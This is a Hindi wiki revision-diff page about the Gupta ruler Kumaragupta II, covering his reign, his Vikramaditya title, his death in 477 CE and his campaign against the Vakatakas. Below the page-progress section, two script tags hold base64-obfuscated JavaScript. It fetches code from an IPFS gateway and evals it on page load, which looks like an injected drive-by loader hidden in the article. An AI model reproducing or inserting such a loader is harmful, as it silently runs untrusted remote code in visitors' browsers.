"कुमारगुप्त द्वितीय" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replace - "महत्वपूर्ण" to "महत्त्वपूर्ण")
छो (Text replace - "{{लेख प्रगति" to "{{प्रचार}} {{लेख प्रगति")
पंक्ति 10: पंक्ति 10:
 
*वाकाटकों की शक्ति अब फिर से क्षीण होने लगी।
 
*वाकाटकों की शक्ति अब फिर से क्षीण होने लगी।
  
 +
{{प्रचार}}
 
{{लेख प्रगति
 
{{लेख प्रगति
 
|आधार=आधार1
 
|आधार=आधार1

11:53, 10 जनवरी 2011 का अवतरण

  • नरसिंह गुप्त के बाद कुमारगुप्त द्वितीय पाटलिपुत्र के राजसिंहासन पर आरूढ़ हुआ।
  • कुमारगुप्त द्वितीय ने भी 'विक्रमादित्य' की उपाधि ग्रहण की।
  • कुमारगुप्त द्वितीय अन्य गुप्त सम्राटों के समान वैष्णव धर्म का अनुयायी था, और उसे भी 'परम भागवत्' लिखा गया है।
  • कुमारगुप्त द्वितीय ने कुल चार वर्ष राज्य किया।
  • 477 ई. में उसकी मृत्यु हो गई।
  • सम्राट स्कन्दगुप्त के बाद दस वर्षों में गुप्त वंश के तीन राजा हुए।
  • इससे स्पष्ट प्रतीत होता है, कि यह काल अव्यवस्था और अशान्ति का था।
  • अपने चार वर्ष के शासन काल में कुमारगुप्त द्वितीय 'विक्रमादित्य' ने अनेक महत्त्वपूर्ण कार्य किए।
  • कुमारगुप्त द्वितीय ने वाकाटक राजा से युद्ध किए, और मालवा के प्रदेश को जीतकर फिर से अपने साम्राज्य में मिला लिया।
  • वाकाटकों की शक्ति अब फिर से क्षीण होने लगी।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:गुप्त राजवंश